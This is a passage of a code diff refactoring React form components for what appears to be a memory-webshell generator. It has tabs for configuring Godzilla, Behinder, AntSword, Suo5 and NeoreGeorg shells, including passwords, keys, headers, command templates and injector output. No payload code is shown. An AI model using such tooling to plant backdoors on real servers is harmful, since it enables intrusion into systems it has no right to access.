<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
<NeoRegTabContent form={form} shellTypes={shellTypes} />
<CustomTabContent form={form} shellTypes={shellTypes} />
</Tabs>
</FormProvider>
{mainConfig && (
<Tabs value={shellTool} className="w-full">
<GodzillaTabContent form={form} shellTypes={shellTypes} />
<CommandTabContent form={form} shellTypes={shellTypes} />
<BehinderTabContent form={form} shellTypes={shellTypes} />
<AntSwordTabContent form={form} shellTypes={shellTypes} />
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
<Suo5TabContent
tabValue="Suo5v2"
form={form}
shellTypes={shellTypes}
/>
<NeoRegTabContent form={form} shellTypes={shellTypes} />
<CustomTabContent form={form} shellTypes={shellTypes} />
</Tabs>
)}
</>
);
}
@@ -1,22 +1,13 @@
import { PackageIcon } from "lucide-react";
import { useEffect, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
FormControl,
FormField,
FormItem,
FormLabel,
} from "@/components/ui/form";
import { FieldLabel, FieldSet } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { Spinner } from "@/components/ui/spinner";
import type { PackerConfig } from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema.ts";
type Option = {
name: string;
value: string;
};
import type { MemShellFormSchema } from "@/types/schema";
export default function PackageConfigCard({
packerConfig,
@@ -25,13 +16,19 @@ export default function PackageConfigCard({
packerConfig: PackerConfig | undefined;
form: UseFormReturn<MemShellFormSchema>;
}>) {
const [options, setOptions] = useState<Array<Option>>([]);
const shellType = form.watch("shellType");
const server = form.watch("server");
const { t } = useTranslation("common");
useEffect(() => {
const shellType = useWatch({
control: form.control,
name: "shellType",
});
const server = useWatch({
control: form.control,
name: "server",
});
const options = useMemo(() => {
const filteredOptions = (packerConfig ?? []).filter((name) => {
if (!shellType || shellType === " ") {
return true;
@@ -44,23 +41,12 @@ export default function PackageConfigCard({
}
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
});
const mappedOptions = filteredOptions.map((name) => {
return {
name: t(name),
value: name,
};
});
setOptions(mappedOptions);
const currentValue = form.getValues("packingMethod");
if (
filteredOptions.length > 0 &&
(!currentValue || !filteredOptions.includes(currentValue))
) {
form.setValue("packingMethod", filteredOptions[0]);
}
}, [form, packerConfig, server, shellType, t]);
form.setValue("packingMethod", filteredOptions[0]);
return filteredOptions.map((name) => ({
name: t(name),
value: name,
}));
}, [packerConfig, shellType, server, t, form]);
return (
<Card className="w-full">
@@ -72,41 +58,34 @@ export default function PackageConfigCard({
</CardHeader>
<CardContent>
{options.length > 0 ? (
<FormProvider {...form}>
<FormField
control={form.control}
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel>{t("packerMethod")}</FormLabel>
<FormControl>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<FormItem
key={value}
className="flex items-center space-x-3 space-y-0"
>
<FormControl>
<RadioGroupItem value={value} id={value} />
</FormControl>
<FormLabel className="text-xs" htmlFor={value}>
{name}
</FormLabel>
</FormItem>
))}
</RadioGroup>
</FormControl>
</FormItem>
)}
/>
</FormProvider>
<Controller
control={form.control}
name="packingMethod"
render={({ field }) => (
<FieldSet>
<FieldLabel>{t("packerMethod")}</FieldLabel>
<RadioGroup
name={field.name}
value={field.value}
defaultValue={options[0].value}
onValueChange={field.onChange}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<div key={value} className="flex items-center space-x-3">
<RadioGroupItem value={value} id={value} />
<FieldLabel className="text-xs" htmlFor={value}>
{name}
</FieldLabel>
</div>
))}
</RadioGroup>
</FieldSet>
)}
/>
) : (
<div className="flex items-center justify-center p-4 space-x-2">
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
<div className="flex items-center justify-center p-4 gap-4 h-50">
<Spinner />
<span className="text-sm text-muted-foreground">
{t("loading")}
</span>
+2 -2
View File
@@ -7,13 +7,13 @@ export function QuickUsage() {
return (
<Card>
<CardHeader>
<CardTitle className="text-md flex items-center gap-2">
<CardTitle className="flex items-center gap-2">
<ScrollTextIcon className="h-5" />
<span>{t("common:quickUsage.title")}</span>
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
<ol className="flex flex-col gap-4 list-decimal list-inside text-sm">
<li>{t("memshell:quickUsage.step1")}</li>
<li>{t("memshell:quickUsage.step2")}</li>
<li>{t("memshell:quickUsage.step3")}</li>
@@ -79,7 +79,7 @@ export function MultiPackResult({
<div className="flex items-center justify-between text-xs gap-2">
<Select
onValueChange={(value) => {
setSelectedMethod(value);
setSelectedMethod(value as string);
setPackResult(
allPackResults?.[value as keyof typeof allPackResults] ?? "",
);
@@ -90,7 +90,7 @@ export function MultiPackResult({
<span className="text-muted-foreground">
{t("common:packerMethod")}:&nbsp;
</span>
<SelectValue />
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{packMethods.map((method) => (
+5 -4
View File
@@ -5,7 +5,7 @@ import { toast } from "sonner";
import { QuickUsage } from "@/components/memshell/quick-usage";
import { Button } from "@/components/ui/button";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { downloadBytes } from "@/lib/utils.ts";
import { downloadBytes } from "@/lib/utils";
import type { MemShellResult } from "@/types/memshell";
import CodeViewer from "../code-viewer";
import { BasicInfo } from "./results/basic-info";
@@ -26,6 +26,7 @@ export default function ShellResult({
if (!generateResult) {
return <QuickUsage />;
}
const height = 800;
return (
<Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-3">
@@ -37,7 +38,7 @@ export default function ShellResult({
{t("memshell:injectorClass")}
</TabsTrigger>
</TabsList>
<TabsContent value="packResult" className="my-2 space-y-4">
<TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} />
<ResultComponent
packResult={packResult}
@@ -75,7 +76,7 @@ export default function ShellResult({
</Button>
}
wrapLongLines={true}
height={600}
height={height}
code={generateResult?.shellBytesBase64Str ?? ""}
language="text"
/>
@@ -107,7 +108,7 @@ export default function ShellResult({
<DownloadIcon className="h-4 w-4" />
</Button>
}
height={600}
height={height}
code={generateResult?.injectorBytesBase64Str ?? ""}
language="text"
/>
@@ -1,12 +1,7 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import {
FormControl,
FormField,
FormFieldItem,
FormFieldLabel,
} from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
@@ -23,65 +18,61 @@ export function AntSwordTabContent({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<TabsContent value="AntSword">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<FormField
<TabsContent value="AntSword">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<Controller
control={form.control}
name="antSwordPass"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("shellToolConfig.antSword.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="antSwordPass"
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("shellToolConfig.antSword.pass")} {t("common:optional")}
</FormFieldLabel>
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
<FormControl>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormControl>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<Controller
control={form.control}
name="headerValue"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
@@ -1,7 +1,7 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
@@ -18,63 +18,61 @@ export function BehinderTabContent({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<TabsContent value="Behinder">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<FormField
<TabsContent value="Behinder">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<Controller
control={form.control}
name="behinderPass"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("shellToolConfig.behinder.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="behinderPass"
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("shellToolConfig.behinder.pass")} {t("common:optional")}
</FormFieldLabel>
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
</Field>
)}
/>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<Controller
control={form.control}
name="headerValue"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
@@ -1,11 +1,11 @@
import { Shuffle } from "lucide-react";
import { Fragment, useEffect, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import type { MemShellFormSchema } from "@/types/schema.ts";
import type { MemShellFormSchema } from "@/types/schema";
export function OptionalClassFormField({
form,
@@ -72,44 +72,43 @@ export function OptionalClassFormField({
onCheckedChange={handleToggleRandomClass}
/>
</div>
<FormProvider {...form}>
{!useRandomClassName && (
<FormField
control={form.control}
name="shellClassName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel htmlFor="shellClassName">
{t("mainConfig.shellClassName")} {t("common:optional")}
</FormFieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
)}
{!useRandomClassName && (
<FormField
control={form.control}
name="injectorClassName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel htmlFor="injectClassName">
{t("mainConfig.injectorClassName")} {t("common:optional")}
</FormFieldLabel>
<Input
id="injectClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
)}
</FormProvider>
{!useRandomClassName && (
<Controller
control={form.control}
name="shellClassName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel htmlFor="shellClassName">
{t("mainConfig.shellClassName")} {t("common:optional")}
</FieldLabel>
<Input
id="shellClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
)}
{!useRandomClassName && (
<Controller
control={form.control}
name="injectorClassName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel htmlFor="injectClassName">
{t("mainConfig.injectorClassName")} {t("common:optional")}
</FieldLabel>
<Input
id="injectClassName"
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
)}
</Fragment>
);
}
+125 -127
View File
@@ -1,7 +1,7 @@
import { useQuery } from "@tanstack/react-query";
import { ChevronDown, ChevronRight } from "lucide-react";
import { ChevronDown, ChevronRight, InfoIcon } from "lucide-react";
import { useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import {
@@ -9,12 +9,7 @@ import {
CollapsibleContent,
CollapsibleTrigger,
} from "@/components/ui/collapsible";
import {
FormControl,
FormField,
FormFieldItem,
FormFieldLabel,
} from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import {
Select,
@@ -24,6 +19,11 @@ import {
SelectValue,
} from "@/components/ui/select";
import { TabsContent } from "@/components/ui/tabs";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { env } from "@/config";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
@@ -51,131 +51,129 @@ export function CommandTabContent({
});
return (
<FormProvider {...form}>
<TabsContent value="Command">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<FormField
control={form.control}
name="commandParamName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
<TabsContent value="Command">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<Controller
control={form.control}
name="commandParamName"
render={({ field }) => (
<Field className="gap-1">
<div className="flex items-center gap-1">
<FieldLabel>
{t("common:paramName")} {t("common:optional")}
</FormFieldLabel>
<FormControl>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormControl>
</FormFieldItem>
)}
/>
<Collapsible open={isAdvancedOpen} onOpenChange={setIsAdvancedOpen}>
<CollapsibleTrigger className="flex items-center gap-2 w-full py-2 text-sm font-medium hover:underline">
{isAdvancedOpen ? (
<ChevronDown className="h-4 w-4" />
) : (
<ChevronRight className="h-4 w-4" />
)}
{t("common:advancedConfig")}
</CollapsibleTrigger>
<CollapsibleContent className="space-y-2 pt-2">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="encryptor"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
defaultValue="RAW"
>
<FormControl>
<SelectTrigger>
<SelectValue
placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
</FormControl>
<SelectContent>
{data?.encryptors?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="implementationClass"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:implementationClass")}
</FormFieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
defaultValue="RuntimeExec"
>
<FormControl>
<SelectTrigger>
<SelectValue
placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
</FormControl>
<SelectContent>
{data?.implementationClasses?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</FormFieldItem>
)}
/>
</FieldLabel>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:paramName.description")}</p>
</TooltipContent>
</Tooltip>
</div>
<FormField
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Collapsible open={isAdvancedOpen} onOpenChange={setIsAdvancedOpen}>
<CollapsibleTrigger className="flex items-center gap-2 w-full py-2 text-sm font-medium hover:underline">
{isAdvancedOpen ? (
<ChevronDown className="h-4 w-4" />
) : (
<ChevronRight className="h-4 w-4" />
)}
{t("common:advancedConfig")}
</CollapsibleTrigger>
<CollapsibleContent className="space-y-2 pt-2">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="commandTemplate"
name="encryptor"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FormFieldLabel>
<FormControl>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
</FormControl>
<p className="text-xs text-muted-foreground mt-1">
{t("common:commandTemplate.description")}
</p>
</FormFieldItem>
<Field className="gap-1">
<FieldLabel>{t("common:encryptor")}</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
defaultValue="RAW"
>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{data?.encryptors?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</Field>
)}
/>
</CollapsibleContent>
</Collapsible>
<Controller
control={form.control}
name="implementationClass"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:implementationClass")}</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
defaultValue="RuntimeExec"
>
<SelectTrigger>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
</SelectTrigger>
<SelectContent>
{data?.implementationClasses?.map((v) => (
<SelectItem key={v} value={v}>
{v}
</SelectItem>
))}
</SelectContent>
</Select>
</Field>
)}
/>
</div>
<Controller
control={form.control}
name="commandTemplate"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
<p className="text-xs text-muted-foreground mt-1">
{t("common:commandTemplate.description")}
</p>
</Field>
)}
/>
</CollapsibleContent>
</Collapsible>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
+69 -78
View File
@@ -1,21 +1,15 @@
import { useEffect, useRef, useState } from "react";
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
import { Card, CardContent } from "@/components/ui/card";
import {
FormControl,
FormField,
FormFieldItem,
FormFieldLabel,
FormMessage,
} from "@/components/ui/form";
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { TabsContent } from "@/components/ui/tabs";
import { Textarea } from "@/components/ui/textarea";
import { env } from "@/config.ts";
import { env } from "@/config";
import type { MemShellFormSchema } from "@/types/schema";
import { OptionalClassFormField } from "./classname-field";
import { ShellTypeFormField } from "./shelltype-field";
@@ -90,74 +84,71 @@ export default function CustomTabContent({
}, [classNameEndpoint, form, shellClassBase64, t]);
return (
<FormProvider {...form}>
<TabsContent value="Custom">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<FormField
control={form.control}
name="shellClassBase64"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("shellClass")}</FormFieldLabel>
<RadioGroup
value={isFile ? "file" : "base64"}
onValueChange={(value) => {
field.onChange("");
setIsFile(value === "file");
}}
className="flex items-center space-x-2"
>
<div className="flex items-center space-x-2">
<RadioGroupItem value="base64" id="optionOne" />
<Label htmlFor="optionOne">Base64</Label>
</div>
<div className="flex items-center space-x-2">
<RadioGroupItem value="file" id="optionTwo" />
<Label htmlFor="optionTwo">File</Label>
</div>
</RadioGroup>
<FormControl className="mt-2">
{isFile ? (
<Input
onChange={(e) => {
const file = e.target.files?.[0];
if (file) {
const reader = new FileReader();
reader.onload = (event) => {
const base64String =
(event.target?.result as string)?.split(
",",
)[1] || "";
field.onChange(base64String);
};
reader.readAsDataURL(file);
}
}}
accept=".class"
placeholder={t("common:placeholders.input")}
type="file"
/>
) : (
<Textarea
{...field}
placeholder={t("common:placeholders.input")}
className="h-24"
/>
)}
</FormControl>
<FormMessage />
</FormFieldItem>
)}
/>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<TabsContent value="Custom">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<Controller
control={form.control}
name="shellClassBase64"
render={({ field, fieldState }) => (
<Field className="gap-1">
<FieldLabel>{t("shellClass")}</FieldLabel>
<RadioGroup
value={isFile ? "file" : "base64"}
onValueChange={(value) => {
field.onChange("");
setIsFile(value === "file");
}}
className="flex items-center"
>
<div className="flex items-center">
<RadioGroupItem value="base64" id="optionOne" />
<Label htmlFor="optionOne">Base64</Label>
</div>
<div className="flex items-center">
<RadioGroupItem value="file" id="optionTwo" />
<Label htmlFor="optionTwo">File</Label>
</div>
</RadioGroup>
<div className="mt-2">
{isFile ? (
<Input
onChange={(e) => {
const file = e.target.files?.[0];
if (file) {
const reader = new FileReader();
reader.onload = (event) => {
const base64String =
(event.target?.result as string)?.split(",")[1] ||
"";
field.onChange(base64String);
};
reader.readAsDataURL(file);
}
}}
accept=".class"
placeholder={t("common:placeholders.input")}
type="file"
/>
) : (
<Textarea
{...field}
placeholder={t("common:placeholders.input")}
className="h-24"
/>
)}
</div>
{fieldState.error && <FieldError errors={[fieldState.error]} />}
</Field>
)}
/>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
@@ -1,7 +1,7 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
@@ -18,79 +18,76 @@ export function GodzillaTabContent({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<TabsContent value="Godzilla">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="godzillaPass"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("shellToolConfig.godzilla.pass")}{" "}
{t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="godzillaKey"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("shellToolConfig.godzilla.key")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<TabsContent value="Godzilla">
<Card>
<CardContent className="flex flex-col gap-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="godzillaPass"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("shellToolConfig.godzilla.pass")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Controller
control={form.control}
name="godzillaKey"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("shellToolConfig.godzilla.key")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Controller
control={form.control}
name="headerValue"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
);
}
+43 -45
View File
@@ -1,7 +1,7 @@
import { FormProvider, type UseFormReturn } from "react-hook-form";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { Card, CardContent } from "@/components/ui/card";
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
import { Field, FieldLabel } from "@/components/ui/field";
import { Input } from "@/components/ui/input";
import { TabsContent } from "@/components/ui/tabs";
import type { MemShellFormSchema } from "@/types/schema";
@@ -18,48 +18,46 @@ export function NeoRegTabContent({
}>) {
const { t } = useTranslation(["memshell", "common"]);
return (
<FormProvider {...form}>
<TabsContent value="NeoreGeorg">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FormFieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</FormFieldItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
<TabsContent value="NeoreGeorg">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<Controller
control={form.control}
name="headerName"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>{t("common:headerName")}</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
<Controller
control={form.control}
name="headerValue"
render={({ field }) => (
<Field className="gap-1">
<FieldLabel>
{t("common:headerValue")} {t("common:optional")}
</FieldLabel>
<Input
{...field}
placeholder={t("common:placeholders.input")}
/>
</Field>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
